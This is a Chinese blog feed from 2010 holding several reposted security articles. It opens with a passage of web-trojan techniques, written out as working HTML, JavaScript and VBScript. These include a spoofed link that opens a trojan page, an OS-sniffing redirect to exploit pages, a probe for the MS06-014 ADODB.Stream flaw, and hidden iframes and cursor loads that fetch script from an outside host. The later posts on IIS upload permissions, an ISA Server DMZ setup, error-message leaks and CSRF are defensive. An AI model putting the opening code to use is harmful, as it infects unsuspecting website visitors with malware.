<p>十:高级欺骗<br>&lt;a href="<a href="http://www.163.com/">http://www.163.com</a>(迷惑连接地址，显示这个地址指向木马地址)" onMouseOver="www_163_com(); return true;"&gt; 页面要显示的内容 &lt;/a&gt;<br>&lt;SCRIPT Language="JavaScript"&gt;<br>function www_163_com ()<br>{<br>var url="网马地址";<br>open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");<br>}<br>&lt;/SCRIPT&gt;</p>
<p>十一:判断系统代码</p>
<p>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"&gt;<br>&lt;HTML&gt;&lt;HEAD&gt;&lt;TITLE&gt;404&lt;/TITLE&gt;<br>&lt;META http-equiv=Content-Type content="text/html; charset=windows-1252"&gt;<br>&lt;META content="MSHTML 6.00.2900.2769" name=GENERATOR&gt;&lt;/HEAD&gt;<br>&lt;BODY&gt;<br>&lt;SCRIPT language=javascript&gt;<br>window.status="";<br>if(navigator.userAgent.indexOf("Windows NT 5.1") != -1)<br>window.location.href="tk.htm";<br>else<br>window.location.href="upx06014.htm";<br>&lt;/SCRIPT&gt;<br>&lt;/BODY&gt;&lt;/HTML&gt;</p>
<p>十二:判断是否有ms06014代码</p>
<p>&lt;script language=VBScript&gt;<br>on error resume next<br>set server = document.createElement("object")<br>server.setAttribute "classid", "clsid:10072CEC-8CC1-11D1-986E-00A0C955B42E"<br>set File = server.createobject(Adodb.Stream,"")<br>if Not Err.Number = 0 then<br>err.clear<br>document.write ("&lt;iframe src=http://upx.com.cn width=100% height=100% scrolling=no frameborder=0&gt;")<br>else<br>document.write ("&lt;iframe src=http://upx.com.cn width=100% height=100% scrolling=no frameborder=0&gt;")<br>end if<br>&lt;/script&gt;</p>
<p>十三:智能读取js的代码demo</p>
<p>//读娶src的对象<br>var v = document.getElementById("advjs");<br>//读娶src的参数<br>var u_num = getUrlParameterAdv("showmatrix_num",v.getAttribute(src));</p>
<p>document.write("&lt;iframe src="<a href="http://www.upx.com.cn/1/%22+u_num+%22.htm">http://www.upx.com.cn/1/"+u_num+".htm</a>" width="0" height="0" frameborder="0"&gt;&lt;/iframe&gt;");<br>document.writeln("&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"&gt;");<br>document.writeln("&lt;HTML&gt;&lt;HEAD&gt;");<br>document.writeln("&lt;META http-equiv=Content-Type content="text/html; charset=big5"&gt;");<br>document.writeln("&lt;META content="MSHTML 6.00.2900.3059" name=GENERATOR&gt;&lt;/HEAD&gt;");<br>document.writeln("&lt;BODY&gt; ");<br>document.writeln("&lt;DIV style="CURSOR: url(<a href="http://www.upx.com.cn/demo.js">http://www.upx.com.cn/demo.js</a>)"&gt;");<br>document.writeln("&lt;DIV ");<br>document.writeln("style="CURSOR: url(<a href="http://www.upx.com.cn/demo.js)%22%3E%3C/div%3E%3C/div%3E%3C/body%3E%3C/html">http://www.upx.com.cn/demo.js)"&gt;&lt;/DIV&gt;&lt;/DIV&gt;&lt;/BODY&gt;&lt;/HTML</a>&gt;")</p>
<p>//分析src的参数函数<br>function getUrlParameterAdv(asName,lsURL){</p>
<p>loU = lsURL.split("?");<br>if (loU.length&gt;1){</p>
<p>var loallPm = loU[1].split("&amp;");</p>
<p>for (var i=0; i&lt;loallPm.length; i++){<br>var loPm = loallPm[i].split("=");<br>if (loPm[0]==asName){<br>if (loPm.length&gt;1){<br>return loPm[1];<br>}else{<br>return "";<br>}<br>}<br>}<br>}<br>return null;<br>}<br></p>
<img src ="http://www.cppblog.com/momoxiao/aggbug/115423.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/momoxiao/" target="_blank">小默</a> 2010-05-15 07:49 <a href="http://www.cppblog.com/momoxiao/archive/2010/05/15/115423.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>【转】是否能做到上传目录不执行ASP</title><link>http://www.cppblog.com/momoxiao/archive/2010/04/30/114042.html</link><dc:creator>小默</dc:creator><author>小默</author><pubDate>Fri, 30 Apr 2010 03:05:00 GMT</pubDate><guid>http://www.cppblog.com/momoxiao/archive/2010/04/30/114042.html</guid><wfw:comment>http://www.cppblog.com/momoxiao/comments/114042.html</wfw:comment><comments>http://www.cppblog.com/momoxiao/archive/2010/04/30/114042.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/momoxiao/comments/commentRss/114042.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/momoxiao/services/trackbacks/114042.html</trackback:ping><description><![CDATA[<a href="http://forum.eviloctal.com/thread-13330-1-1.html">http://forum.eviloctal.com/thread-13330-1-1.html</a><br>----------------------------------<br>自从04年以来.外面就传言.<br>将上传目录阻止执行权限.<br>使得上传的asp文件将不能执行.而上传目录内的图形文件等文件可以正常访问<br>而在2004/11月的黑客防线上蝴蝶也如是说<br>"能执行ASP脚本的地方不允许写入文件,能写入文件的地方不允许运行ASP程序"<br>OK.让我们测试一下这句话能否通过<span class=t_tag onclick=tagshow(event) href="tag.php?name=NTFS">NTFS</span>权限控制来做到<br><br>首先我们写一个最简单的ASP程序.我这里用了我自己的一个简单的登陆系统.<br>里面又asp.有对外引用的部分.有access数据库<br>我们将权限设置成<br>administrators&nbsp;&nbsp;全部<br>system&nbsp;&nbsp;全部<br>然后主要我们将对添加的一个everyone权限来测试.<br>因为没有其他用户组了.所以iuser将继承everyone组的权限<br>所以是不是不用everyone用iuser用户是一样的.<br><br>首先只打开everyone用户的读取权限.<br>在高级内显示如下权限<br>1.列出文件夹/读取数据<br>2.读取属性<br>3.读取扩展属性<br>打开测试页面登陆.正常<br><br>然后高级内只保留<br>1.列出文件夹/读取数据<br>打开测试页面.出现ACL登陆框了.看来权限不足<br><br>再接下来我们测试传说中的取消ASP执行权限.<br>因为只读情况下已经没有执行权限了.<br>我们现在特别将执行权限取消<br>1.遍历文件夹/运行文件 -- 拒绝<br>2.列出文件夹/读取数据 -- 允许<br>3.读取属性 -- 允许<br>4.读取扩展属性 -- 允许<br>现在打开ASP测试页面.仍旧可以正常访问<br><br>由于asp文件对于iis来说只是一个文本文件<br><span class=t_tag onclick=tagshow(event) href="tag.php?name=IIS">IIS</span>读入asp文件内容后交由asp.dll进行解析<br>所以asp运行根本和windows应用程序不同<br>完全不需要执行权限.只需要只读权限<br>所以不允许asp运行,虽然可以做到,就是取消读权限<br>但是取消读权限之后.整个目录内所有文件都将无法通过iis读取<br>包括图片文件等等.那么上传目录不允许asp执行.等于是上传的所有内容都不能读<br>这种设置将导致上传内容毫无意义.<br><br>最后我们来看这句话<br>"能执行ASP脚本的地方不允许写入文件,能写入文件的地方不允许运行ASP程序"<br>前半句我们可以做到.对asp目录只读权限.<br>后半句虽然严格来说也可以做到.对上传目录取消读权限<br>但是这样将导致上传任何文件都无法访问.失去了上传文件功能的意义了.<br><br>本人测试环境<br>windows2003 中文企业版VLK SP1<br>IIS 6<br>---------------------------------------------------------------------<br>写权限依靠NTFS权限设置，执行asp依靠IIS设置<br>-------------------------------------------------------------------
<img src ="http://www.cppblog.com/momoxiao/aggbug/114042.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/momoxiao/" target="_blank">小默</a> 2010-04-30 11:05 <a href="http://www.cppblog.com/momoxiao/archive/2010/04/30/114042.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>【转】使用ISA Server 部署三宿主的DMZ区域（未完）</title><link>http://www.cppblog.com/momoxiao/archive/2010/04/27/113675.html</link><dc:creator>小默</dc:creator><author>小默</author><pubDate>Tue, 27 Apr 2010 01:23:00 GMT</pubDate><guid>http://www.cppblog.com/momoxiao/archive/2010/04/27/113675.html</guid><wfw:comment>http://www.cppblog.com/momoxiao/comments/113675.html</wfw:comment><comments>http://www.cppblog.com/momoxiao/archive/2010/04/27/113675.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/momoxiao/comments/commentRss/113675.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/momoxiao/services/trackbacks/113675.html</trackback:ping><description><![CDATA[<p><a href="http://www.microsoft.com/china/community/Column/72.mspx">http://www.microsoft.com/china/community/Column/72.mspx</a><br>--------------------------------------------------------------&nbsp;<br>这次笔者将介绍如何在企业中利用ISA Server部署一个DMZ区域。一般来讲利用ISA Server可以实现三宿主的DMZ区域，也可以实现背靠背的DMZ区域。本文讨论的焦点是三宿主的DMZ区域。</p>
<p>&nbsp;首先，我们谈谈为何要部署DMZ区域，也就是说一旦部署了DMZ，他对你的网络产生什么样的积极作用。有些企业可能从ISP申请了一个地址段的IP，但是往往出现这些IP不能有效的利用，构建了DMZ区域后，这些IP可以灵活的分配到DMZ上的主机。此外，从DMZ区域到Internet流动的数据包是被路由的，而不是被NAT，从ISA处理数据包的效率角度讲，前者要优于后者。<br>&nbsp;现在，我们来看看要部署DMZ需要哪些条件<br>&nbsp;-&nbsp;ISA需要有至少3个网络接口卡<br>&nbsp;-&nbsp;ISA Server是做为防火墙模式或者集成模式安装的，可以是单机模式也可以是阵列模式<br>&nbsp;-&nbsp;在IP PACKET Filter的全局设置中，必须启用Enable IP Routing<br>&nbsp;-&nbsp;ISP分配了一个地址段的IP给你的公司<br>&nbsp;-&nbsp;配置在ISA外部接口的IP的子网掩码不能与DMZ区域的子网掩码相同</p>
<p>&nbsp;在这篇文章里，笔者以一个模拟的真实环境来描述DMZ，试验的拓扑如图1所示。<br><img border=0 alt="" src="http://www.cppblog.com/images/cppblog_com/momoxiao/72-1.jpg" width=608 height=530><br>(图1)<br>&nbsp;我们假设，你的公司从ISP购买了一个C类的IP段，172.16.1.0/24。我们将172.16.1.33分配给ISA的外部接口。把172.16.1.64/26从172.16.1.0/24划分出来分配给DMZ区域。注意，DMZ区域和ISA外部接口连接的区域是不同的逻辑网络。一个常见的错误是把DMZ区域和ISA外部接口规划在一个IP逻辑网络里。记住，从DMZ和外部网络的通讯角度讲，ISA扮演一个有过滤功能的路由器，而不是网桥，这也是为什么必需要启用Enable IP Routing的原因。</p>
<p>&nbsp;ISA Server的网络接口配置如下</p>
<p>&nbsp;Internal NIC<br>&nbsp;IP:192.168.100.20/24<br>&nbsp;Defaul Gateway(DG):None<br>&nbsp;DNS:192.168.100.100</p>
<p>&nbsp;DMZ NIC<br>&nbsp;IP:192.168.100.65/26<br>&nbsp;DG:None<br>&nbsp;DNS:None</p>
<p>&nbsp;External NIC<br>&nbsp;IP:172.16.1.33/24<br>&nbsp;DG:172.16.254<br>&nbsp;DNS:10.10.10.10</p>
<p>&nbsp;DMZ上的主机的网络接口配置<br>&nbsp;IP:172.16.1.66-126/26<br>&nbsp;DG:172.16.1.65<br>&nbsp;DNS:None</p>
<p>&nbsp;内部网络（Internal）上的计算机<br>&nbsp;IP:192.168.100.x/24<br>&nbsp;DG:192.168.100.20<br>&nbsp;DNS:192.168.100.100<br><br>&nbsp;请特别注意以上的配置。对于ISA来讲，缺省网关一定要配置在外部接口，原因很简单，一个去往未知IP的数据包，目标一定位于Internet上，如果这个IP是在你的公司内部网络，那么你的网络中的路由设置肯定存在问题。既然是去往Internet上的，ISA必须可以将这个数据包从外部接口上送出去，所以缺省网关一定要配置在外部接口上。如果你的其他接口也配置的缺省网关，那么就一定会出现问题，因为默认情况下，各个网络接口上配置的缺省网关的Metric都是1，所以去往未知IP的数据包，就会从所有配置了缺省网关的网卡送出，也就是负载均衡，但是另一个不应该配置缺省网关的网卡不能将数据包成功的送到目的IP，所以导致丢包，甚至无法通讯。内部接口的DNS指向公司内部的DNS服务器。外部接口的DNS指向一个可以解析Internet上所有域名的DNS服务器，这一点很重要，别忘了ISA要代理Web Proxy Client和FWC进行DNS解析。DMZ接口上，我们并没有配置DNS，当然你也可以配置。对于DMZ区域上的主机，我们把网关指向ISA的DMZ网络接口，因为DMZ区域上的主机需要与Internet通讯，确切的讲是被Internet用户访问，而ISA是Internet出口的持有者。DNS指向我们也没有在DMZ上的主机配置，因为DMZ应该是一个无人区，也就是说DMZ上应该是一个服务器农场，而不是被用户使用，浏览Internet的计算机，所以它没有必要配置DNS，除非某台服务器运行的服务必须依赖与DNS。内部网络的主机设置不是此文讨论的重点，所以在这里不展开讨论。<br>&nbsp;另外，如果你对路由非常了解，从上边给出的ISA的网络接口配置看，你马上会发现一个问题。ISA外网接口连接172.16.1.0/24网段、而DMZ区域在172.16.1.64/26网段。我们假设这两个网段的物理介质是以太网标准，当172.16.1.64/26网段中的某个主机发起和172.16.1.0/24网段中某台主机通讯时，不妨假设172.16.1.69/26和172.16.1.254/24通讯，对于172.16.1.69/26，它认为172.16.1.254/24和自己不同属一个逻辑网段，所以它知道要把去往172.16.1.254/24的数据包发送给自己的网关172.16.1.65/26，由于172.16.1.69/26和172.16.1.65/26在一个广播域，所以ARP解析不会出现问题。但是反过来，当172.16.1.254/24要路由或者始发一个数据包到172.16.1.69/26时，问题就出现了。对于172.16.1.254/24来讲，它认为172.16.1.69和自己在一个逻辑网段，所以这个数据包应该是直接发送到172.16.1.69/26，因此它就会ARP解析172.16.1.69/26的MAC地址，然而它们并不在同一个广播域，所以这个ARP解析得不到答案，因此这个数据包就无法发送，然而，如果172.16.1.254/24可以成功的把去往172.16.1.69/26的数据包发送给172.16.1.33/24，也就是ISA Server，则这个数据包就可以被最终送往172.16.1.69/26。要解决这个问题，我们应该从两个方面出发。如果ISA Server连接ISP的链路层协议是通过广播技术寻址的，则解决的方法有3种，一是，与你的ISP联系，使得和ISA相连的路由器中有一条明确的到172.16.1.64/26网络下一跳为172.16.1.33/24的路由；二是，在ISA上实施一种对于链路层寻址的欺骗手段，例如，以太网的链路层寻址是通过ARP协议，所以你的ISA计算机上必须可以实现Proxy ARP功能，使得ISA计算机可以以自己外网接口的MAC地址回应对172.16.1.64/26网络中主机的ARP查询；三是，把172.16.1.0/24和172.16.1.64/26网络规划到一个广播域之中，如果采用这种方法，请注意ISA只能做&#8220;半过滤&#8221;来保护DMZ区域，但是这种保护也是有效的。换句浅显易懂的话说，从外网到DMZ区域的数据包是直接发送的，但是从DMZ区域到外网的数据包是经由ISA Server送出到外网的。如果，ISA Server连接ISP的链路层协议是点对点的，那么你不用做任何事情，因为只要是去往172.16.1.x的数据包，不论子网掩码是24位还是26位还是27位，数据包都会正确无误的发送到你的ISA Server的外网接口。在笔者的测试环境中，ISA和ISP的路由器之间的链路层协议是以太网，笔者对这个路由器有管理权力，所以采用了在路由器上添加路由的方法解决上述问题。</p>
<p>&nbsp;请在你安装ISA Server之前，将这些配置设置好。一旦安装好ISA Server，在ISA计算机上添加或者删除网卡可能会引起意想不到的错误。此外，最好在安装好ISA Server后，不要修改IP的配置，如果你不得不这样做，请遵循以下步骤：<br>&nbsp;1， 在命令行中输入net stop mspfltex<br>&nbsp;2， 在命令行中输入net stop gksvc<br>&nbsp;3， 在命令行中输入net stop IPNAT<br>&nbsp;4， 修改相应网卡的IP设置<br>&nbsp;5， 在命令行中输入net start mspfltex<br>&nbsp;6， 在命令行中输入net start IPNAT<br>&nbsp;7， 在命令行中输入net start isactrl<br>&nbsp;8， 在命令行中输入net start &#8220;Microsoft Web Proxy&#8221;<br>&nbsp;9， 在命令行中输入net start &#8220;Microsoft Firewall&#8221;<br>&nbsp;10，在命令行中输入net start &#8220;Microsoft Scheduled Cache Content Download&#8221;<br><br>&nbsp;为了验证网络层的连通性，我们通常会使用Ping工具。Ping工具实际上是ICMP协议的一种应用实例。为了实现目的，你需要对ICMP协议有一些了解。当一台主机Ping一个远端计算机时，会以ICMP协议 类型8 代码0（也就是通常所说的ICMP Ping Query或者是ICMP Ping Request）封装一个数据包发送出去，当远端计算机收到这个数据包后，会以ICMP 协议类型0代码0封装（ICMP Ping Reply）回应的数据包发送给源端。为了使DMZ上的主机可以Ping通Internet上的主机，你需要允许DMZ主机发送的ICMP Ping Query能够被ISA Server发送到Internet上，反过来，要允许ICMP Ping Reply进入到DMZ区域。这需要你在IP PACKET FILTER中建立2个封包过滤，具体内容如图2－图9。<br><br>&nbsp;完成之后，等待一会儿以便新建的封包过滤生效，也可以重新启动一下Firewall Service服务。之后验证DMZ的主机是否可以Ping通Internet上的主机（也就是我们模拟的10.10.10.10那台计算机）。没有问题，DMZ和Internet的网络层确实具有连通性，但是反过来10.10.10.10却无法Ping通DMZ上的主机，也许这恰巧是你的愿望。如果你希望Internet的主机可以Ping通DMZ的主机，也很简单，只要把刚才建立的2个封包过滤的Direction 设置为Both即可，原理不再冗述。讲到这里，如果你希望Internet上的计算机可以Ping通你的ISA Server的外部接口，就会变得极其简单，笔者也就不必浪费笔墨。值得注意的是你不需要添加2个封包过滤，而是1个，如果你注意到IP PACKET FILTER中，已经有默认的名为ICMP outbound的封包过滤就不难理解，这个封包过滤允许ICMP 所有类型和代码的数据包从ISA的外部接口送出，也就是说你只需为进入的ICMP Ping Query设置一个允许的封包过滤即可。如果你想了解ICMP协议的更多细节，可以参考TechNet CD或者微软帮助站点中的Q170292文档。</p>
<p>&nbsp;在验证了DMZ区域和Internet的网络层连通性后，我们要立刻切入正题：实现对DMZ区域的应用。我们的目的是要使得DMZ区域的各种服务能够被Internet上的用户访问。你可以将Web服务、FTP服务、邮件服务等等部署在DMZ区域，从而提供Internet用户的访问。笔者举3个典型的例子来说明ISA如何发布DMZ区域的服务器。</p>
<p><strong>发布DMZ区域的Web服务<br></strong>&nbsp; &nbsp;&nbsp; 1. 首先，设置好DMZ区域的Web 服务器，默认情况下它应该在80端口监听Web请求,如图10。设置完成后，请利用netstat 工具查看Web服务器是否在0.0.0.0上监听80端口（笔者假设你没有禁用SocketPooling）<br>&nbsp;&nbsp; 2. 在ISA Server上利用IP PACKET FILTER将Web服务发布。其实说发布有些过于牵强，ISA实际上是一个具有过滤功能的路由器，所以我们只是允许来自Internet用户的Web请求可以进入到DMZ上的Web服务器。设置的内容如图11－图14所示。<br>&nbsp;&nbsp; 3. 在Internet上的计算机验证是否可以正确访问位于DMZ区域的Web服务器。可以看到我们可以正确的访问Web页面，正如图15显示的那样。在验证之前，你应该等待一会儿以使刚刚建立的封包过滤生效，或者重新启动Firewall Service服务。<br><br>&nbsp;完成了，上边的设置后，不仅Internet上的用户可以访问这台Web服务器，ISA Server连接的内部网络中的用户也可以访问，因为我们在图14中的Remote Computer中选择的是All Remote Computers。<br><br><strong>发布DMZ区域的FTP服务<br><br>&nbsp;由于FTP有两种工作模式，PORT和PASV模式，具体区别详见本刊杂志2002年第九期《浅析FTP工作原理》。</strong></p>
<p>&nbsp;发布PORT模式的FTP的步骤如下<br>&nbsp; 1，设置好DMZ区域的FTP服务器，使其在21端口上监听。如图16。当然你也可以使用其他端口，只不过要在配置IP PACKET FILTER时要做相应的调整。<br>&nbsp; 2，不论哪种模式的FTP，都需要允许远端用户连接FTP服务器21端口的进入请求，所以需要为此建立一个封包过滤，具体设置如图17－图20。<br>&nbsp; 3，为FTP的数据通道的建立设置一个封包过滤。由于PORT模式的数据通道的建立请求是由FTP服务器主动发起的，所以封包过滤的direction 应该是Outbound而不是Inbound。具体的设置如图21－图22。</p>
<p>&nbsp;发布PASV模式的FTP的步骤如下<br>&nbsp; 1，设置FTP服务器在21端口监听，如上边所述<br>&nbsp; 2，由于PASV模式的所有连接都是有FTP客户端发起的，并且使用的端口并不是固定的，因此只需要一个&#8220;非安全&#8221;的封包过滤即可完成PASV模式的FTP服务器发布。如图23－图26。</p>
<p>&nbsp;完成FTP的发布后，我们在Internet上的FTP客户端验证是否可以正确的以PORT和PASV模式连接到位于DMZ的FTP服务器，可以看到，如图27和图28，连接成功。在发布PASV模式的FTP服务器时，我们设置了一个安全性较差的封包过滤，但是这也是发布位于DMZ区域的PASV模式FTP的无奈之举。因为我们知道FTP的数据通道使用的端口是动态的，而且动态的范围我们不易控制，特别是使用微软IIS中提供的FTP服务，我们根本无法控制。不过你可以选择另一款FTP服务器端软件：ServU。这个服务器端软件可以控制PASV模式建立数据通道时使用的端口范围，通过设置这个端口范围我们可以控制本地FTP数据通道使用的端口，但是相应的，在IP PACKET FILTER中的设置也会麻烦许多，你要为这个端口范围中包含的所有端口都设置一个进入的封包过滤。如果你对安全性很重视，这个一劳永逸但是绝对麻烦的工作还是有必要的。笔者认为，将FTP服务器部署在DMZ区域也许并不是一个明智之举，除非你可以承受这台FTP服务器可以受到攻击的事实，或者你放弃使用PASV模式的FTP。然而，将FTP服务器部署在内部网络，可以在保证安全性的前提下（甚至是加强安全性）减轻许多工作，因为动态端口的问题你不必劳神，FTP Application Filter和MS Proxy Protocol可以很好的为你解决，有关在内部网络部署FTP服务器的问题请参考《使用ISA Server发布非标准端口的FTP服务器》以及《用ISA Server 2000发布内部网络的IIS FTP 服务器》。<br><br>&nbsp;此外，如果你决定为在DMZ区域部署的FTP设置那个&#8220;非安全&#8221;封包过滤，笔者有必要做一些安全警告：你的这台FTP服务器完全暴露给Internet上的所有用户，任何Internet用户可以连接这台服务器的任意端口。ISA Server唯一可以做的是利用IP PACKET FILTER中的全局配置（Instruction Detection ）为这台FTP服务器做一些保护。在这种情况下，你可以在FTP服务器上，安装一款单机版的防火墙软件来加强对这台服务器的保护，这种保护是确实有效的，但是相应的也会增加成本。笔者推荐以下几款单机版防火墙软件：Norton Internet Security、BlackICE、ZoneAlarm、天网防火墙。 </p>
<p>&nbsp;下边，笔者介绍一个很有意思的发布DMZ区域的Mail Relay Server的案例。在很多企业中，邮件服务是非常重要的，所以要有一种可行的措施有效的保护企业内部的邮件服务器不被攻击。如果这个邮件服务器必须被漫游的用户使用，那么这台邮件服务器就必须可以通过Internet被访问，这样就面临两种选择，一是把邮件服务器部署在内部网络，然后通过ISA发布出去；另一种是把邮件服务器部署在DMZ区域利用IP PACKET FILTER发布。我们可以综合一下以上两种方案的安全和性能的平衡点，把邮件服务器部署在内部网络，在DMZ区域部署一台邮件转发服务器，通过ISA只发布位于DMZ区域的邮件转发服务器，这样不仅可以有效的保护邮件系统的真实宿主不被攻击，因为你发布的只是一个邮件转发服务器，同时也能够利用邮件转发服务器和ISA的SMTP Filter实施分级的邮件过滤。</p>
<p>&nbsp;完成这个发布工作我们需要做以下几件事情<br>&nbsp;- 在企业内部部署Exchange Server 2000（本文不讨论）<br>&nbsp;- 在DMZ区域部署邮件转发服务器<br>&nbsp;- 发布内部网络的邮件服务器给DMZ区域的邮件转发服务器<br>&nbsp;- 利用IP PACKET Filter发布邮件转发服务器</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<img src ="http://www.cppblog.com/momoxiao/aggbug/113675.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/momoxiao/" target="_blank">小默</a> 2010-04-27 09:23 <a href="http://www.cppblog.com/momoxiao/archive/2010/04/27/113675.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>【转】WEB安全系列之六：信息泄露和不正确的错误处理</title><link>http://www.cppblog.com/momoxiao/archive/2010/04/14/112558.html</link><dc:creator>小默</dc:creator><author>小默</author><pubDate>Wed, 14 Apr 2010 07:04:00 GMT</pubDate><guid>http://www.cppblog.com/momoxiao/archive/2010/04/14/112558.html</guid><wfw:comment>http://www.cppblog.com/momoxiao/comments/112558.html</wfw:comment><comments>http://www.cppblog.com/momoxiao/archive/2010/04/14/112558.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/momoxiao/comments/commentRss/112558.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/momoxiao/services/trackbacks/112558.html</trackback:ping><description><![CDATA[<div id=read_tpc class=f14><font size=2><strong>&nbsp;&nbsp;&nbsp;&nbsp;* 此漏洞利用的重点在于应用程序未能正确处理自身发生的错误 <br>&nbsp;&nbsp;&nbsp;&nbsp;* 此漏洞的技术重点在于某些应用程序出错时，会把错误信息反馈到用户端，这些错误信息通常可用于调试的目的 <br>&nbsp;&nbsp;&nbsp;&nbsp;* 此漏洞的方法重点在于从错误反馈信息中获取有用的信息，从而加以利用，突破网站安全<br></strong><br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当Web应用程序发生错误时，如果处理不得当，可能会把相关的错误信息反馈至客户浏览器。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这种情况更多见于PHP+MySQL的Web应用，一些程序人员没有正确的做异常处理，当发生错误里，系统向浏览器端返回了本来是用于调试目的的相关信息。这些信息往往可能含有重要的安全信息。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;例如：某个网站的MySQL停止了运行，而这时用户访问此网站时，发现网页提示如下信息：<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MySQL Error:Lost connection to MySQL server during query<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;从这个回馈来看，用户请求的页所使用的数据库是MySQL ! 这无疑暴露是安全人员所不希望看到的。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;高明的入侵者，会尽可能的使其在页面浏览或提交时，使用不正当的数据或方法，以此期望页面产生错误回馈，从而利用这些信息完成入侵。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;从服务器角度，关闭调试信息回馈功能，并且善用异常处理功能，可以尽可能避免此类安全漏洞。</font></div>
<img src ="http://www.cppblog.com/momoxiao/aggbug/112558.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/momoxiao/" target="_blank">小默</a> 2010-04-14 15:04 <a href="http://www.cppblog.com/momoxiao/archive/2010/04/14/112558.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>【转】WEB安全系列之五：跨站请求伪造</title><link>http://www.cppblog.com/momoxiao/archive/2010/04/14/112556.html</link><dc:creator>小默</dc:creator><author>小默</author><pubDate>Wed, 14 Apr 2010 06:40:00 GMT</pubDate><guid>http://www.cppblog.com/momoxiao/archive/2010/04/14/112556.html</guid><wfw:comment>http://www.cppblog.com/momoxiao/comments/112556.html</wfw:comment><comments>http://www.cppblog.com/momoxiao/archive/2010/04/14/112556.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/momoxiao/comments/commentRss/112556.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/momoxiao/services/trackbacks/112556.html</trackback:ping><description><![CDATA[<font size=2><strong>&nbsp;&nbsp; &nbsp;* 跨站请求伪造漏洞利用的重点攻击者了解受害者所在的站点<br>&nbsp;&nbsp;&nbsp;&nbsp;* 跨站请求伪造漏洞的技术重点在于攻击者需要精心构造可以完成目标装点数据修改的URL<br>&nbsp;&nbsp;&nbsp;&nbsp;* 跨站请求伪造漏洞的方法重点在于攻击者的目标站点具有持久化授权cookie或者受害者具有当前会话cookie，并且目标站点没有对用户在网站行为的第二授权<br><br><br></strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;我们假定三个角色：攻击者、用户、网上银行、一个论坛。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;攻击的流程主要分以下几个步骤：<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1、用户连入网上银行操作，该网上银行使用持久化授权cookie，只要用户不清除cookies，任何时候连入网上银行时，该银行网站都认为该用户是有效的；<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2、攻击者在论坛上发表图片，内嵌有GET或POST方法的URL并指向该网上银行，如果该URL由一个银行的合法用户发出，则该URL会使用户帐户被修改；<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3、用户浏览此论坛并点击该图片，攻击者预设的URL被由用户发往银行站点，因该用户未清除cookie，该请求有效，用户帐户在用户并不知情的前提下被成功修改。<br><br>我们注意到，这个过程很象跨站脚本攻击，但实际上，是完全不同的。跨站脚本攻击需要在客户端写入恶意代码，以搜集cookie等信息，而跨站请求伪造则根本不需要向用户端写入任何东西，直接利用银行授权的持久认证和用户未清理的cookie。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这里的问题在于，论坛用户不能上传js脚本，于是直接利用URL来诱骗用户，以致于完成数据操作。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;由此可见，该攻击的重点在于要知道目标站点和目标用户，并且该受害站点没有使用更多的授权认证。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;对于web站点，将持久化的授权方法（例如cookie或者HTTP授权）切换为瞬时的授权方法（在每个form中提供隐藏field），这将帮助网站防止这些攻击。一种类似的方式是在form中包含秘密信息、用户指定的代号作为cookie之外的验证。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;另一个可选的方法是&#8220;双提交&#8221;cookie。此方法只工作于Ajax请求，但它能够作为无需改变大量form的全局修正方法。如果某个授权的 cookie在form post之前正被java script代码读取，那么限制跨域规则将被应用。如果服务器需要在Post请求体或者URL中包含授权cookie的请求，那么这个请求必须来自于受信任的域，因为其它域是不能从信任域读取cookie的。</font>
